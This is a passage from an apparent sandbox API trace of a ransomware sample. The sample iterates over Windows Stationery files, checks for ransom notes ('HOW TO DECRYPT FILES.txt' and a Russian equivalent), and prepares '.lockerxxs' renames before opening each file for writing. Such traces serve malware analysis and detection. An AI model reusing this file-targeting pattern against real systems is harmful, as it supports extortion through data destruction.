ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x421b90a4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x827f32dc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0076.421] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.421] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HandPrints.jpg") returned -1 [0076.421] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HandPrints.jpg") returned 1 [0076.421] lstrcmpiA (lpString1="", lpString2="HandPrints.jpg") returned -1 [0076.421] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned="Hand Prints.htm" [0076.421] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.421] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.421] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0076.421] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0076.421] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="HandPrints.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" [0076.421] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg", pszSpec="*.ems") returned 0 [0076.422] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" [0076.422] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" [0076.422] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg." [0076.422] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.lockerxxs") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.lockerxxs" [0076.422] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.422] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421b90a4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x421b90a4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41f57aa4, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0076.422] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.422] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Orange Circles.htm") returned -1 [0076.422] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Orange Circles.htm") returned -1 [0076.422] lstrcmpiA (lpString1="", lpString2="Orange Circles.htm") returned -1 [0076.422] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned="HandPrints.jpg" [0076.422] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.422] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.422] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0076.422] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0076.422] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="Orange Circles.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" [0076.422] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm", pszSpec="*.ems") returned 0 [0076.423] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" [0076.423] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" [0076.423] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm." [0076.423] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.lockerxxs") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.lockerxxs" [0076.423] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.423] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421df204, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x421df204, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x8283f59c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0076.423] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.423] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OrangeCircles.jpg") returned -1 [0076.423] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OrangeCircles.jpg") returned -1 [0076.423] lstrcmpiA (lpString1="", lpString2="OrangeCircles.jpg") returned -1 [0076.423] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned="Orange Circles.htm" [0076.423] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.423] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.423] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0076.423] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0076.423] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="OrangeCircles.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" [0076.423] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg", pszSpec="*.ems") returned 0 [0076.423] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" [0076.424] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" [0076.424] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg." [0076.424] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.lockerxxs") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.lockerxxs" [0076.424] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.424] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421df204, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x421df204, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41fa3d64, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0076.424] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.424] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Peacock.htm") returned -1 [0076.424] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Peacock.htm") returned -1 [0076.424] lstrcmpiA (lpString1="", lpString2="Peacock.htm") returned -1 [0076.424] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned="OrangeCircles.jpg" [0076.424] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.424] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.424] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0076.424] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0076.424] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="Peacock.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" [0076.424] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", pszSpec="*.ems") returned 0 [0076.425] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" [0076.425] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" [0076.425] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm." [0076.425] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.lockerxxs") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.lockerxxs" [0076.425] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.425] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42205364, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42205364, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x828d7b1c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0076.425] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.425] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Peacock.jpg") returned -1 [0076.425] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Peacock.jpg") returned -1 [0076.425] lstrcmpiA (lpString1="", lpString2="Peacock.jpg") returned -1 [0076.425] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned="Peacock.htm" [0076.425] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.425] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.425] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0076.425] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0076.425] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="Peacock.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" [0076.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", pszSpec="*.ems") returned 0 [0076.426] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" [0076.426] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" [0076.426] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg." [0076.426] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.lockerxxs") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.lockerxxs" [0076.426] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.426] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42205364, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42205364, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41ff0024, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0076.426] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.426] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Roses.htm") returned -1 [0076.426] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Roses.htm") returned -1 [0076.426] lstrcmpiA (lpString1="", lpString2="Roses.htm") returned -1 [0076.426] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned="Peacock.jpg" [0076.426] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.426] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.426] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0076.426] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0076.426] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="Roses.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm" [0076.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm", pszSpec="*.ems") returned 0 [0076.427] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm" [0076.427] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm" [0076.427] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm.") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm." [0076.427] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm.lockerxxs") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm.lockerxxs" [0076.427] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.427] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4222b4c4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4222b4c4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x828fdc7c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0076.427] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.427] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Roses.jpg") returned -1 [0076.427] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Roses.jpg") returned -1 [0076.427] lstrcmpiA (lpString1="", lpString2="Roses.jpg") returned -1 [0076.427] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned="Roses.htm" [0076.427] lstrcpyA (in: 